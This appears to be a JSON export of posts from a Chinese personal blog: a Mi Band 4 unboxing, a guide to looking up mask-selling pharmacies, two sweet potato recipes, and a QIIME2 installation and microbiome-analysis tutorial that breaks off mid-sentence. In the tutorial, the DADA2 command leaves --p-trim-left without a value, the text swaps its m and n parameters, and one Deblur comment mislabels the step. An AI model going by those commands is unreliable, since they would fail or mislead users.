5ATM 等級的防水（相當於 50 米水深防水）、六軸感應器、心跳次數感應器、AMOLED 彩色螢幕，續航時間可達 20 天，重量為 22.1 公克。\n小米手環 4 的包裝很簡單，就是單純的紙盒包裝。\n除了一張說明書之外（我忘了拍照），內容物就只有手環與充電線。\n小米手環 4 的外型簡約，表面下方有一個觸碰按鈕，可以開啟螢幕，或作為離開鍵，而主螢幕則是有觸碰功能，控制手環非常方便、直覺。\n手環背面有感測器以及充電接點。\n這是手環的錶帶，質感很不錯。\n這是小米手環專用的充電線，要充電時必須先把手環的手腕帶拆卸後，才能進行充電。另外這條充電線的長度很短，所以充電時要找適合放置的地方充。\n小米手環在初次使用時，需要先在手機上下載小米運動 App，進行手機的綁定，操作很簡單，只要開啟藍芽，就可以透過小米運動 App 進行綁定。以下是小米運動 App 綁定小米手環的畫面。\n將手環靠近手機，進行綁定。\n綁定之後，就會顯示綁定成功的訊息。\n而第一次使用前，會進行手環的升級，這一步要等比較久。\n接著升級資源庫，這一步也是要等很久，不過都是自動的，所以就不用管它，只要等它升級即可。\n升級完成之後，就可以開始使用了，錶面的樣式可以自由更換，不過我感覺預設的錶面就很漂亮了。\n若要充電的話，要先把手腕帶拆掉。\n然後裝在充電線上充電。\n這是拍賣賣家附贈的螢幕保護貼，其實手環的螢幕很小，價位也不高，保護貼不是非常必要，不過然有送當然就還是貼上去。\n小米手環大部分的功能都要透過手機來設定，還可以自由選擇錶面樣式。\n將基本的設定都調整好之後，使用時就不太需要用到手機（大概只有需要 GPS 定位時需要手機），手環上的資料會自動透過藍芽傳送至手機，可從手機上觀看統計資料。\n運動相關的資料在手機上整理的很清楚，一目了然。\n如果戴著手環睡覺，還可以監測睡眠的狀況。\n阿玄看到這隻小米手環之後，就非常喜歡，戴著手環就想要出去運動。\n","permalink":"https://blog.gtwang.org/unboxing/mi-smart-band-4/","summary":"\u003cp\u003e本篇是我最近購買小米手環 4 的簡單開箱記錄。\u003c/p\u003e\n\u003cp\u003e因為長期忙於工作，都沒有注意在運動，感覺體力變差了，最近想要監控與記錄自己每天的運動，所以想買一隻便宜實用的穿戴裝置，而看到小米手環好像很多人用，價格也便宜，拍賣網站上賣的還有贈品，所以就買了一隻來試用看看。\u003c/p\u003e","title":"[開箱] 小米手環 4"},{"content":"本篇介紹如何從健保署的網站上查詢自家附近的健保特約藥局，就近購買口罩。\n行政院於 2 月 3 日宣布 6 日開始實施實名制購買口罩，民眾可使用健保卡在全國 6000 多家健保特約藥局購買，以下是查詢健保特約藥局的步驟教學。\n從健保署網站查詢 健保署網站是最官方的資訊，但如果網站太慢，可以考慮使用下方介紹的另外一種方式，從政府資料開放平台上查詢。\nStep 1\n打開健保署的健保特約醫事機構查詢網頁，選擇自己所在的區域，然後在「特約類別」選擇「藥局」，最後按下「開始查詢」。\nStep 2\n這樣就可以查到自家附近的健保特約藥局了。\n從政府資料開放平台查詢 如果健保署的網站速度太慢，可以改從政府資料開放平台上面來查詢，這裡也有特約藥局的資料。\nStep 1\n開啟政府資料開放平台的健保特約藥局資料網頁，點選資料下載網址的「檢視資料」。\nStep 2\n這裡提供的檔案格式很多，一般人只要下載 Excel 格式即可。\nStep 3\n打開下載的 Excel 檔案，裡面就有所有的健保特約藥局資訊，請使用搜尋功能（按下 Ctrl + F 鍵）搜尋自家附近的藥局。\n這裡我放了兩個 2 月 4 日下午 3 點下載的 Excel 檔案作為備用：\n07c5fd9673833c447f63c5448f04fc47_export.xlsx 031def809288eb606135354bff9985e2_export.xlsx 購買口罩時請攜帶健保卡，並注意以下資訊。\n","permalink":"https://blog.gtwang.org/life/mask-health-insurance-special-pharmacy-query-tutorial/","summary":"\u003cp\u003e本篇介紹如何從健保署的網站上查詢自家附近的健保特約藥局，就近購買口罩。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e行政院於 2 月 3 日宣布 6 日開始實施實名制購買口罩，民眾可使用健保卡在全國 6000 多家健保特約藥局購買，以下是查詢健保特約藥局的步驟教學。\u003c/p\u003e","title":"[買口罩] 健保特約藥局查詢教學"},{"content":"本篇記錄用烤箱製作水糖漿版拔絲地瓜的過程，完全不需要使用到任何油。\n最近家裡收成了一些地瓜，之前做了一次烤箱版的拔絲地瓜，這次打算來做真正會「拔絲」的拔絲地瓜，並且不用任何油，吃起來比較沒負擔。\nStep 1\n這次打算把地瓜先蒸熟，然後再烤乾，所以選擇小條的地瓜，洗乾淨、削皮之後，以滾刀切成大小相近的塊狀。\nStep 2\n因為我怕地瓜太大塊，烤的時候不容易熟，所以先拿去蒸一下，\n蒸到半熟或接近全熟就好，不可以蒸過頭，不然地瓜整個軟掉，筷子一夾就碎了。蒸的時間也跟地瓜大小有關係，這次我蒸了十分鐘，感覺已經熟透了，下次可以縮短時間。\nStep 3\n把烤盤鋪上烘培紙，將蒸過的地瓜放上去。\n放進烤箱以 150 到 200 度，烤大約 15 到 25 分鐘，將地瓜表面烤乾，要烤的夠乾，裹糖漿的時候，地瓜才不會碎掉。\nStep 4\n地瓜放進烤箱之後，就可以開始準備糖漿。在鍋子中加入 1：1 的砂糖與水。\n加入一湯匙的麥芽糖。\n加熱糖漿至沸騰，持續熬煮，將水份抽乾，直到適當的黏稠度為止（冒出的泡泡類似這樣又大又多）。\nStep 5\n準備好烤乾的地瓜以及熬煮好的糖漿。\n將地瓜裹上糖漿。\n這樣就是會「拔絲」的拔絲地瓜了。\n由於糖漿冷卻之後就會變硬，所以可將地瓜倒入鍋中，趁熱裹上糖漿，如果糖漿變硬，放在瓦斯爐上加熱一下即可。\n這就是完成的拔絲地瓜。\n這次就是為了讓阿玄知道拔絲地瓜的「拔絲」是什麼意思，所以特別製作了這種糖漿比較多的拔絲地瓜。\n我是覺得這樣吃起來有點太甜了，不過小朋友卻比較喜歡吃這種。\n這次糖漿準備太多了，不過阿玄說這樣很好吃。\n","permalink":"https://blog.gtwang.org/diy/roasted-candied-sweet-potatoes-20200112/","summary":"\u003cp\u003e本篇記錄用烤箱製作水糖漿版拔絲地瓜的過程，完全不需要使用到任何油。\u003c/p\u003e\n\u003cp\u003e最近家裡收成了一些地瓜，之前做了一次\u003ca href=\"/diy/roasted-candied-sweet-potatoes-20200111/\"\u003e烤箱版的拔絲地瓜\u003c/a\u003e，這次打算來做真正會「拔絲」的拔絲地瓜，並且不用任何油，吃起來比較沒負擔。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"剛採收的地瓜\" loading=\"lazy\" src=\"/diy/roasted-candied-sweet-potatoes-20200112/roasted-candied-sweet-potatoes-20200112-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 1\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e這次打算把地瓜先蒸熟，然後再烤乾，所以選擇小條的地瓜，洗乾淨、削皮之後，以滾刀切成大小相近的塊狀。\u003c/p\u003e","title":"[DIY] 無油、免油炸烤箱版拔絲地瓜製作教學"},{"content":"本篇記錄用烤箱製作拔絲地瓜的過程，不需要油炸，吃起來更健康。\n這禮拜自己家種的番薯收成，搬了幾袋回來，打算做一些地瓜的料理，除了拿小條地瓜直接烤之外，拔絲地瓜也是簡單又好吃的地瓜料理，不過一般的拔絲地瓜是用油炸地瓜裹上糖衣，但是我不想用油炸的方式，所以就改用烤箱的作法，做出來跟一般的拔絲地瓜很接近，而且作法更簡單，也比較健康。\n選用地瓜時，由於要切成長條狀，所以選擇比較大條的地瓜會比較好處理。\n以下是製作烤箱版拔絲地瓜的步驟。\nStep 1\n將地瓜洗乾淨，削皮之後，切成寬度約一公分左右的長條狀。\nStep 2\n將地瓜放入乾淨的塑膠袋。\nStep 3\n加入少許的油，以及適量的砂糖。\nStep 4\n用手搓揉一下，讓油與糖均勻附著在地瓜上。\n如果感覺糖不夠，可以自己再添加。\nStep 5\n在烤盤上鋪上烘培紙，將裹上油與糖的地瓜條放上去。\n裹上砂糖之後，地瓜可能會有點出水，所以不要放太久。\nStep 6\n放入烤箱，上下火以 150 度到 200 度，烤 15 到 25 分鐘，時間可依情況自己調整，原則上就是把地瓜烤熟，軟硬程度可自行調整。\nStep 7\n我這次是以 180 度烤 15 分鐘。烤出來的地瓜剛好熟透，但是表面還沒有乾，小朋友吃多也比較不會上火。\nStep 8\n剛烤好的地瓜很燙，稍微降溫之後，就可以直接吃了。\nStep 9\n這是完成的烤箱版拔絲地瓜，我不想吃太甜，所以沒有加很多糖，表面的糖衣比較薄，不過這樣就已經很好吃了。\n阿玄也很愛吃這一盤拔絲地瓜。\n剛烤好的拔絲地瓜，馬上就被吃掉一半。\n","permalink":"https://blog.gtwang.org/diy/roasted-candied-sweet-potatoes-20200111/","summary":"\u003cp\u003e本篇記錄用烤箱製作拔絲地瓜的過程，不需要油炸，吃起來更健康。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這禮拜自己家種的番薯收成，搬了幾袋回來，打算做一些地瓜的料理，除了拿小條地瓜直接烤之外，拔絲地瓜也是簡單又好吃的地瓜料理，不過一般的拔絲地瓜是用油炸地瓜裹上糖衣，但是我不想用油炸的方式，所以就改用烤箱的作法，做出來跟一般的拔絲地瓜很接近，而且作法更簡單，也比較健康。\u003c/p\u003e","title":"[DIY] 拔絲地瓜免油炸烤箱版製作教學"},{"content":"本篇介紹如何在 Ubuntu Linux 中安裝與使用 QIIME2 微生物組分析流程軟體。\n本篇是我個人邊學邊記的筆記，內容錯誤百出，僅供參考。\n安裝 Miniconda 從 Miniconda 官方網站下載安裝檔：\n# 下載 Miniconda wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh 執行下載的 Miniconda 安裝檔：\n# 安裝 Miniconda sh Miniconda3-latest-Linux-x86_64.sh Miniconda 預設會安裝在 $HOME/miniconda3 目錄之下，安裝好之後，將 conda 套件更新至最新版本：\n# 更新 conda 套件 conda update conda 並安裝 wget 套件：\n# 安裝 wget 套件 conda install wget Anaconda 也可以直接安裝 Qiime2 套件，所以如果是習慣使用 Anaconda 的人也可以改用 Anaconda 來安裝。\n安裝 Qiime2 從 Qiime2 官方網站下載 conda 用的套件定義檔：\n# 下載 Qiime2 套件定義檔 wget https://data.qiime2.org/distro/core/qiime2-2019.10-py36-linux-conda.yml 根據 Qiime2 套件定義檔建立新的 conda 環境：\n# 根據 Qiime2 套件定義檔建立新的 conda 環境，並將其命名為 qiime2-2019.10 conda env create -n qiime2-2019.10 --file qiime2-2019.10-py36-linux-conda.yml 建立好 conda 環境之後，就完成 Qiime2 的安裝了，此時可將沒用的 Qiime2 套件定義檔刪除：\n# 刪除 Qiime2 套件定義檔 rm qiime2-2019.10-py36-linux-conda.yml 若要使用 Qiime2，要先載入 qiime2-2019.10 這個剛建立好的 conda 環境：\n# 載入 qiime2-2019.10 conda 環境 conda activate qiime2-2019.10 在 qiime2-2019.10 這個 conda 環境中，就可以使用 Qiime2 的指令或 Python 函式庫了。\n# 顯示 Qiime2 版本 qiime --version q2cli version 2019.10.0 Run `qiime info` for more version details. 若要卸載目前所處的 conda 環境，可以執行：\n# 卸載目前 conda 環境 conda deactivate 如果在一般的環境中，想要以 qiime2-2019.10 這個 conda 環境來執行特定指令，可以使用 conda run：\n# 在 qiime2-2019.10 conda 環境中執行指令 conda run -n qiime2-2019.10 qiime --version q2cli version 2019.10.0 Run `qiime info` for more version details. 除了 conda run 之外，亦可考慮 conda-wrappers 方式。\n如果要移除 qiime2-2019.10 這個 conda 環境，可以執行：\n# 移除 qiime2-2019.10 conda 環境 conda env remove -n qiime2-2019.10 Moving Pictures 分析範例 Qiime2 官方文件中的 Moving Pictures 實作範例中，分析了人類微生物組的樣本資料，此資料來自於兩個人、四個部位、五個時間點，而第一時間點有使用抗生素，這些資料是在 Illumina HiSeq 上面以地球微生物組計劃（Earth Microbiome Project，簡稱 EMP） hypervariable region 4 (V4) 16S rRNA sequencing protocol 所定序出來的。\n首先建立並進入操作範例用的目錄：\n# 建立並進入範例目錄 mkdir qiime2-moving-pictures-tutorial cd qiime2-moving-pictures-tutorial 載入 qiime2-2019.10 這個 conda 環境：\n# 載入 qiime2-2019.10 conda 環境 conda activate qiime2-2019.10 下載實驗設計相關的後設資料（metadata），這個檔案是一個以 tab 分隔欄位的表格檔案，裡面有樣本資料的基本資訊，包含樣本 ID、barcode、取樣部位、取樣時間、取樣個體、有無使用抗生素等：\n# 下載實驗設計相關的後設資料 wget -O sample-metadata.tsv https://data.qiime2.org/2019.10/tutorials/moving-pictures/sample_metadata.tsv 若要將自己的資料整理成 Qiime2 可用的格式，可參考 Qiime2 的後設資料格式說明文件。\n下載並匯入資料 下載本分析範例要用的測序片段（reads）資料：\n# 建立放置資料的目錄 mkdir emp-single-end-sequences # 下載 barcodes 資料 wget -O emp-single-end-sequences/barcodes.fastq.gz https://data.qiime2.org/2019.10/tutorials/moving-pictures/emp-single-end-sequences/barcodes.fastq.gz # 下載 sequences 資料 wget -O emp-single-end-sequences/sequences.fastq.gz https://data.qiime2.org/2019.10/tutorials/moving-pictures/emp-single-end-sequences/sequences.fastq.gz 通常定序的原始檔案格式都是 FASTQ 格式，若要將資料交給 Qiime2 來處理，必須先將資料轉為 Qiime2 artifact 的格式，而在轉換時需要指定資料的 semantic type，以這個範例來說，semantic type 就是 EMPSingleEndSequences。\n# 將原始資料轉為 Qiime2 artifact 格式 qiime tools import --type EMPSingleEndSequences --input-path emp-single-end-sequences --output-path emp-single-end-sequences.qza EMPSingleEndSequences 就是代表 multiplexed 的序列資料（EMP 標準混樣單端數據），尚未拆分樣本，所以裡面會包含 sequences.fastq.gz 與 barcodes.fastq.gz 兩個檔案。關於更詳細的匯入資料說明，可參考 Qiime2 匯入資料的文件。\n拆分樣本 在拆分樣本（demultiplex sequences）時我們需要知道哪一個 barcode 對應到哪一個樣本，這個資訊就包含在剛剛上面的後設資料 sample-metadata.tsv 表格中，我們可以使用 demux emp-single 指令來進行樣本的拆分：\n# 按照 Barcodes 拆分樣本（Demultiplexing Sequences） qiime demux emp-single --i-seqs emp-single-end-sequences.qza --m-barcodes-file sample-metadata.tsv --m-barcodes-column barcode-sequence --o-per-sample-sequences demux.qza --o-error-correction-details demux-details.qza 其中 --i-seqs 參數用於指定輸入的序列資料，--m-barcodes-file 與 --m-barcodes-column 參數用於指定 barcode 的來源檔案與欄位名稱，--o-per-sample-sequences 用來指定拆分後的序列資料輸出檔案，--o-error-correction-details 則是 Golay 錯誤修正的細節（可用 metadata tabulate 指令來查看內容）。\n關於 demux emp-single 指令拆分樣本的使用說明，可參考 Qiime2 官方文件。\n樣本拆分之後，可以顯示簡單的樣本統計資訊，讓我們得知每一個樣本中有多少序列資料，以及序列中各位置的品質分佈資訊：\n# 產生樣本拆分後的統計資訊 qiime demux summarize --i-data demux.qza --o-visualization demux.qzv 這裡會產生一個 demux.qzv 視覺化呈現的檔案，裡面包含各種統計資訊，*.qzv 檔案可以用 tools view 指令來查看（需要 XWindow 顯示環境）：\n# 查看統計結果 qiime tools view demux.qzv 如果沒有 XWindow 的環境可以顯示，亦可將 *.qzv 檔案上傳至 Qiime2 View 網站以網頁方式查看。這個範例可以直接查看官方提供的 demux.qzv 檔案。\n序列品質分佈圖中顯示了序列中各位置的品質分佈資訊（Phred quality score），以此例來說左側的序列品質非常好，越往右側則越差。\n序列品質管制與特徵表 序列品質管制（quality control，即去噪）方法有很多種，這裡介紹 DADA2 與 Deblur 這兩種方法的使用方式，在實際應用上只需要挑一種方法來使用即可，而不管用哪一種方法，所產生的資料都是以下兩種 Qiime2 artifact：\nFeatureTable[Frequency] 樣本中每一條序列的出現次數。 FeatureData[Sequence] 記錄 FeatureTable 中每一個 feature identifier 所對應的序列。 DADA2 DADA2 是一個偵測與修正 Illumina 擴增子序列資料的處理流程（pipeline），此處理流程會過濾掉 phiX 測序片段（commonly present in marker gene Illumina sequence data），同時也會過濾掉嵌合體（Chimeras）。\nDADA2 方法可以透過 dada2 denoise-single 指令來執行，此指令使用時需要指定兩個參數：\n--p-trim-left m m 代表每一條序列左側要截去的序列長度。 --p-trunc-len n n 代表每一條序列要取用的序列長度。 這兩個參數可讓使用去除序列中品質較差的部分，只留下品質好的部分進行分析，而 m 與 n 這兩個值就要依據上面所產生的序列品質分佈圖來決定，以此例來說，序列左側的品質都非常好，所以左側並不需要截去，n 就設定為 0 即可，而右側大約在 120 的位置左右品質就往下掉很多，所以我們就取用 120 以前的序列資料就好，m 就設定為 120。\n# DADA2 pipeline：偵測與修正 Illumina 擴增子序列資料 qiime dada2 denoise-single --i-demultiplexed-seqs demux.qza --p-trim-left --p-trunc-len 120 --o-representative-sequences rep-seqs-dada2.qza --o-table table-dada2.qza --o-denoising-stats stats-dada2.qza 產生視覺化資料：\n# 產生視覺化資料 qiime metadata tabulate --m-input-file stats-dada2.qza --o-visualization stats-dada2.qzv 如果後續的分析想要採用 DADA2 的輸出資料，則將 DADA2 的輸出檔案重新命名：\n# 後續採用 DADA2 的輸出資料繼續分析 mv rep-seqs-dada2.qza rep-seqs.qza mv table-dada2.qza table.qza Deblur Deblur uses sequence error profiles to associate erroneous sequence reads with the true biological sequence from which they are derived, resulting in high quality sequence variant data.\nDeblur 方法有兩個步驟，第一步根據 quality scores 初始化品質篩選流程，這個方法就是 Bokulich et al. (2013) 品質篩選方法的實做版本。\n# Deblur 方法 qiime quality-filter q-score --i-demux demux.qza --o-filtered-sequences demux-filtered.qza --o-filter-stats demux-filter-stats.qza 第二步執行 deblur denoise-16S，這裡的 --p-trim-length n 需要指定一個裁剪長度 n，Deblur 開發者建議將 n 設定在 quality score 中位數降至過低的位置，以此例來說適合的 n 大約在 115 到 130 之間，這個值是主觀決定的，在做橫跨多組序列分析的後設分析（meta-analysis）時，也有可能會使用超出建議範圍的 n 值，在這種後設分析中通常會使用統一的 n 值，避免不同研究方法所產生偏差（bias）。由於在上面的 DADA2 方法中我們採用了長度為 120 的序列，而這個值也在建議的範圍內，所以這裡就將 n 設定為 120。\n# Deblur 方法 qiime deblur denoise-16S --i-demultiplexed-seqs demux-filtered.qza --p-trim-length 120 --o-representative-sequences rep-seqs-deblur.qza --o-table table-deblur.qza --p-sample-stats --o-stats deblur-stats.qza 以上兩個指令會各產生一個包含統計資訊的檔案，若需要查看檔案內容，可以使用 metadata tabulate 與 deblur visualize-stats 將其轉換為視覺化的 *.qzv 檔案：\n# 產生視覺化資料 qiime metadata tabulate --m-input-file demux-filter-stats.qza --o-visualization demux-filter-stats.qzv qiime deblur visualize-stats --i-deblur-stats deblur-stats.qza --o-visualization deblur-stats.qzv 如果後續的分析想要採用 Deblur 的輸出資料，則將 Deblur 的輸出檔案重新命名：\n# 後續採用 DADA2 的輸出資料繼續分析 mv rep-seqs-deblur.qza rep-seqs.qza mv table-deblur.qza table.qza 在後續的分析中，我們會採用 DADA2 的結果。\n檢閱特徵表 經過序列的品質篩選程序之後，可以執行以下兩個指令產生視覺化的摘要資訊，feature-table summarize 指令可以產生序列數量分佈的圖表，而 feature-table tabulate-seqs 則可產生 feature identifier 與序列的對應表，同時提供以 BLAST 比對 NCBI nt 資料庫的超連結。\n# 產生特徵表視覺化資料 qiime feature-table summarize --i-table table.qza --o-visualization table.qzv --m-sample-metadata-file sample-metadata.tsv qiime feature-table tabulate-seqs --i-data rep-seqs.qza --o-visualization rep-seqs.qzv 系統演化樹 Qiime2 支援多種系統發育多樣性度量函數（metrics），包含 Faith\u0026rsquo;s Phylogenetic Diversity、Weighted UniFrac 與 Unweighted UniFrac，除了各樣本的特徵（features）數量（FeatureTable[Frequency] Qiime2 artifact）之外，這些度量函數還需要各特徵之間有根的系統演化樹（rooted phylogenetic tree），而系統演化樹可以使用 phylogeny align-to-tree-mafft-fasttree 指令來產生，其輸出的 semantic type 為 Phylogeny[Rooted]。\n此這一條處理流程會先以 mafft 對 FeatureData[Sequence] 中的序列進行多重序列比對（multiple sequence alignment），產生 FeatureData[AlignedSequence] Qiime2 artifact。\nNext, the pipeline masks (or filters) the alignment to remove positions that are highly variable. These positions are generally considered to add noise to a resulting phylogenetic tree.\n接著套用 FastTree 依據 masked alignment 產生系統演化樹，FastTree 所產生的是無根的系統演化樹（unrooted phylogenetic tree），所以最後一步要在這一棵樹當中選兩個距離最遠的節點，將樹根設定在中間。\n# 產生有根的系統演化樹 qiime phylogeny align-to-tree-mafft-fasttree --i-sequences rep-seqs.qza --o-alignment aligned-rep-seqs.qza --o-masked-alignment masked-aligned-rep-seqs.qza --o-tree unrooted-tree.qza --o-rooted-tree rooted-tree.qza Alpha 與 Beta 多樣性分析 Qiime2 的 q2-diversity plugin 提供了計算 alpha 與 beta 多樣性度量、相關的統計檢定與視覺化呈現功能，一開始我們先使用 diversity core-metrics-phylogenetic 指令將 FeatureTable[Frequency] 稀疏化（rarefy）至指定的深度（也就是二次抽樣成統一的樣本數），然後計算各種 alpha 與 beta 多樣性度量，並以 Emperor 產生 principle coordinates analysis（PCoA）分析圖。預設會產生的多樣性度量如下：\nAlpha 多樣性分析 香農多樣性指數（Shannon\u0026rsquo;s diversity index），群體豐度量化指數。 觀測到的 OTU 數量，群體豐度質化指數。 Faith\u0026rsquo;s Phylogenetic Diversity，群體豐度質化指數，包含特徵之間的親緣關係。 Pielou\u0026rsquo;s Evenness index，群體均一度指數。 Beta 多樣性分析 雅卡爾距離（Jaccard distance），群體不相似度質化指數。 Bray–Curtis dissimilarity，群體不相似度量化指數。 Unweighted UniFrac distance，群體不相似度質化指數，包含特徵之間的親緣關係。 Weighted UniFrac distance，群體不相似度量化指數，包含特徵之間的親緣關係。 這裡的 --p-sampling-depth 需要指定一個抽樣深度，這個數值就代表重新抽樣（也就是 rarefaction）的深度，由於大部分的多樣性分析對於不同樣本有不同的抽樣深度非常敏感，所以這裡將每一個樣本都重新隨機抽樣成指定的深度。\n舉例來說，假設 --p-sampling-depth 指定為 500，則每一個樣本都會以取後不放回的方式，將每一個樣本重新抽樣成深度為 500 的樣本，如果有樣本原本的深度就不足 500，則該樣本就會在多樣性分析時被丟棄。\n選擇抽樣深度需要一些技巧，建立參考一下 table.qzv 的資訊，盡量選擇較大的抽樣深度以保留較多的序列，但是同時也要避免丟棄過多的樣本，在兩者之間取一個適合的值。\n# 計算 Alpha 與 Beta 多樣性度量 qiime diversity core-metrics-phylogenetic --i-phylogeny rooted-tree.qza --i-table table.qza --p-sampling-depth 1103 --m-metadata-file sample-metadata.tsv --output-dir core-metrics-results 這裡我們將取樣深度設定為 L3S313 這一組樣本的序列數 1103，這樣就會將所有的樣本深度重新抽樣成 1103，而有三組樣本的原始深度低於這個值，就會被丟棄。此處被丟棄的三組樣本都是屬於 right palm 的樣本，捨棄的樣本不平均並不是很理想的做法，但為了整體保留較多的序列資料，只能以這種折衷的方式處理。\n這裡會自動產生許多 3D 的 principal coordinates 圖形，我們可以透過 Emperor 網頁自由調整圖形上面的顏色、大小、樣式如何對應各種資料，呈現想要的結果。\n算出各種多樣性度量之後，即可開始探索微生物的結構，這個資訊儲存在一開始下載的後設資料 sample-metadata.tsv 中，首先對類別型欄位與 alpha 多樣性度量進行檢定，這裡選用 Faith\u0026rsquo;s Phylogenetic Diversity 與 Pielou\u0026rsquo;s Evenness index 兩種。\n# 檢定 Faith\u0026#39;s Phylogenetic Diversity 在不同群體的差異 qiime diversity alpha-group-significance --i-alpha-diversity core-metrics-results/faith_pd_vector.qza --m-metadata-file sample-metadata.tsv --o-visualization core-metrics-results/faith-pd-group-significance.qzv # 檢定 Pielou\u0026#39;s Evenness index 在不同群體的差異 qiime diversity alpha-group-significance --i-alpha-diversity core-metrics-results/evenness_vector.qza --m-metadata-file sample-metadata.tsv --o-visualization core-metrics-results/evenness-group-significance.qzv 此處所採用的檢定方法為無母數方法中的 Kruskal-Wallis 檢定，對所有群體以及各群體兩兩配對進行中位數差異檢定。\n在這個資料集中，沒有連續性的後設資料欄位會跟 alpha 多樣性度量有關係，所以我們在這裡沒有進行連續性變量的檢定，如果有需要連續性變量的檢定，可以使用 diversity alpha-correlation 指令。\n接下來我們要使用 diversity beta-group-significance 指令以 排列型多變量變異數分析（PERMANOVA）方法分析樣本結構，看看群體內的樣本間距離是否比群體外的樣本間距離更短，若加上 --p-pairwise 可以同時進行兩兩群體配對的檢定，由於這是一種根據排列（permutation）的無母數檢定，執行時需要一些時間，因此我們只針對有興趣的欄位進行檢定，採用 Unweighted UniFrac distance 對 body-site 與 subject 兩種分群進行檢定。\n# PERMANOVA 檢定 qiime diversity beta-group-significance --i-distance-matrix core-metrics-results/unweighted_unifrac_distance_matrix.qza --m-metadata-file sample-metadata.tsv --m-metadata-column body-site --o-visualization core-metrics-results/unweighted-unifrac-body-site-significance.qzv --p-pairwise # PERMANOVA 檢定 qiime diversity beta-group-significance --i-distance-matrix core-metrics-results/unweighted_unifrac_distance_matrix.qza --m-metadata-file sample-metadata.tsv --m-metadata-column subject --o-visualization core-metrics-results/unweighted-unifrac-subject-group-significance.qzv --p-pairwise 此處同樣沒有連續型的資料會與樣本結構有關，若有需要連續型的檢定，可以使用 metadata distance-matrix 配合 diversity mantel 與 diversity bioenv 指令。\n排序分析（ordination analysis）是探討生物群聚與環境之間關係常用的多變量統計方法，我們可以使用 Emperor 這個工具來探索 3D 的 PCoA 圖，core-metrics-phylogenetic 已經有產生了一些基本的圖形，如果想要自行指定特別的座標軸，可以使用 --p-custom-axes 參數，這個很適合用來呈現時間序列的資料。\n我們可以直接拿 core-metrics-phylogeny 所產生的 PCoA 結果來產生新的 Emperor 視覺化輸出，這裡我們分別使用 Unweighted UniFrac 與 Bray-Curtis 的前兩個 principal coordinates 搭配實驗經過天數的資料，畫出 3D 的圖形，觀察兩個 principal coordinates 隨著時間的變化。\n# 畫出 principal coordinates 與實驗經過天數的關係（Unweighted UniFrac） qiime emperor plot --i-pcoa core-metrics-results/unweighted_unifrac_pcoa_results.qza --m-metadata-file sample-metadata.tsv --p-custom-axes days-since-experiment-start --o-visualization core-metrics-results/unweighted-unifrac-emperor-days-since-experiment-start.qzv # 畫出 principal coordinates 與實驗經過天數的關係（Bray-Curtis） qiime emperor plot --i-pcoa core-metrics-results/bray_curtis_pcoa_results.qza --m-metadata-file sample-metadata.tsv --p-custom-axes days-since-experiment-start --o-visualization core-metrics-results/bray-curtis-emperor-days-since-experiment-start.qzv Alpha 稀疏圖（Rarefaction Plotting） Alpha 稀疏曲線（rarefaction curves）就是呈現 alpha 多樣性與取樣深度的一種關係曲線，在不同的取樣深度下計算出 alpha 多樣性度量，觀察 alpha 多樣性度量（豐富度，richness）是否趨於穩定，從這種圖形中可以判斷取樣深度是否充足。\nQiime2 可以使用 diversity alpha-rarefaction 來畫出 alpha 稀疏曲線，--p-min-depth 與 --p-max-depth 可以指定取樣深度的下限（預設為 1）與上限，在這個區間中取 10 個不同的取樣深度，分別對每一個樣本計算稀疏化的 alpha 多樣性度量，重複操作產生一個預估的區間（--p-iterations 可控制重複次數），最後加上 --m-metadata-file 參數指定後設資料（metadata）來源，這樣就可以在視覺化的界面中選擇不同的分群顯示方式。\n# Alpha 稀疏曲線（rarefaction curves） qiime diversity alpha-rarefaction --i-table table.qza --i-phylogeny rooted-tree.qza --p-max-depth 4000 --m-metadata-file sample-metadata.tsv --o-visualization alpha-rarefaction.qzv 這裡產生的圖有上下兩張，第一張是 alpha 稀疏曲線，用來判定豐富度是否已經完全被觀測到（取樣深度是否足夠），如果圖形上的曲線已經趨於平緩，表示絕大部分的特徵都已經被觀測到，增加取樣深度大概也不太會觀測到新的特徵，反之若是曲線末端還是呈現持續上升的趨勢，那就表示可能還有許多特徵尚未被發現，目前的取樣深度尚且不足以表現出整體的樣貌，除此之外，定序錯誤率過高也會造成曲線末端持續上升。\nThe bottom plot in this visualization is important when grouping samples by metadata. It illustrates the number of samples that remain in each group when the feature table is rarefied to each sampling depth. If a given sampling depth d is larger than the total frequency of a sample s (i.e., the number of sequences that were obtained for sample s), it is not possible to compute the diversity metric for sample s at sampling depth d. If many of the samples in a group have lower total frequencies than d, the average diversity presented for that group at d in the top plot will be unreliable because it will have been computed on relatively few samples. When grouping samples by metadata, it is therefore essential to look at the bottom plot to ensure that the data presented in the top plot is reliable.\n物種組成分析（Taxonomic Analysis） 這我們要搭配後設資料（metadata）來分析樣本的物種組成，第一步是將 FeatureData[Sequence] 序列資料標上物種的註釋，我們將使用預先訓練好的 Naive Bayes 分類器與 q2-feature-classifier plugin 來處理這個工作，這個分類器是從 Greengenes 13_8 99% OTUs 上訓練出來的，其中序列被修減至僅包含來自於 16S 區域的 250 個鹼基，該 16S 區域在該分析中採用 V4 區域的 515F/806R 